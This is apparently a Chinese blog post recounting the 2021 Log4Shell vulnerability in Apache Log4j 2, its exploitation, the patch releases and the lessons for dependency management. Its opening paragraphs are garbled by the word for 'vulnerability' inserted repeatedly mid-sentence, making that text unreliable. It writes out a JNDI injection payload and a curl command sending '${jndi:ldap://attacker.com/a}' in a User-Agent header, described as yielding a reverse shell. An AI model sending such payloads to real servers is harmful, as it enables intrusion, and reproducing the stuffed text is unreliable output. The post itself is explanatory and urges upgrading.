游客发表
2021年12月9日深夜,漏洞Apache Log4j 2 的漏洞维护团队在 GitHub 上合并了一个 Pull Request,修复了一个字符串替换逻辑。漏洞这个提交本身平平无奇,漏洞代码改动量极小。漏洞但几个小时后,漏洞安全圈炸了。漏洞
这个漏洞的漏洞编号是 CVE-2021-44228,后来被很多人叫做“Log4Shell”。漏洞它的漏洞核心问题出在 Log4j 2 的一个叫 Lookup 的功能上。简单说,漏洞Log4j 在打印日志时,漏洞如果日志内容里包含 ${ ...} 这种格式的漏洞字符串,它会主动去解析并执行里面的漏洞内容。攻击者往一个会被记录日志的漏洞输入框里填入 ${ jndi:ldap://恶意地址/exp},Log4j 就会乖乖地去连接那个地址,加载远程的恶意代码并执行。
关键在于,这个“输入框”几乎无处不在。用户代理头、聊天消息、用户名、订单备注——任何会被日志系统记下来的地方,都是潜在入口。你甚至不需要应用本身有什么明显漏洞,只要它用 Log4j 2 记日志,攻击者就能通过一个 HTTP 请求把服务器打穿。
我印象很深的是漏洞公开后那几天,GitHub 上突然冒出几百个扫描脚本,Shodan 上能搜到几十万台暴露在公网且使用了受影响版本的服务。Minecraft 服务器是重灾区,因为这款游戏的服务端大量依赖 Java 和 Log4j,很多服主在漏洞公开后几小时内就被入侵,服务器被用来挖矿或者当作跳板。有个服主在论坛上发帖说,他凌晨三点看到控制台刷出一串乱码,然后服务器就失联了——那是他第一次听说 Log4j 这个名字。
这个漏洞的可怕之处在于利用门槛极低。你不需要懂二进制漏洞利用,不需要绕过 ASLR 或者构造 ROP 链。一个 curl 命令就够了:
curl 'http://目标:8080' -H 'User-Agent: ${ jndi:ldap://attacker.com/a}' 如果目标用了存在漏洞的 Log4j 2 版本,并且 JNDI 没被禁用,攻击者就能拿到一个反向 shell。从发现到利用,熟练的人可能只需要几分钟。
Apache 官方在 12 月 10 日发布了 2.15.0 版本,但那个版本又被发现可以绕过。接着是 2.16.0、2.17.0、2.17.1,一个接一个。那段时间运维和开发人员几乎是在打地鼠,刚升级完又被通知新版本有新的绕过方式。2.17.1 之后才算真正稳下来,但代价是很多团队连续加班了一周。
这件事暴露了一个更底层的问题:我们太依赖那些“看不见”的基础组件了。Log4j 几乎是 Java 生态里最普遍的日志库,但绝大多数开发者从没看过它的源码,也不知道 Lookup 功能会在什么条件下触发。它就像空气一样存在,直到有一天空气变成了毒气。
另一个值得琢磨的点是,这个漏洞其实早在 2013 年就被讨论过。当时有人提出 JNDI Lookup 可能带来安全风险,但没引起重视。2016 年又有人提了一次。直到 2021 年真正被大规模利用,才有人回头去翻那些旧 issue。安全领域有个说法叫“漏洞不会消失,只会等待被利用”,Log4Shell 算是这句话的完美注脚。
现在回头看,Log4Shell 改变了很多人对依赖管理的态度。SBOM(软件物料清单)从可选项变成了合规要求,企业开始认真梳理自己到底用了哪些开源组件、版本是什么、谁在维护。这种变化是痛苦的,但也是必要的。
如果你今天还在用 Log4j 2.14 或更早的版本,别犹豫了,赶紧升级。这不是危言耸听,是无数台被入侵的服务器换来的教训。
随机阅读
热门排行
友情链接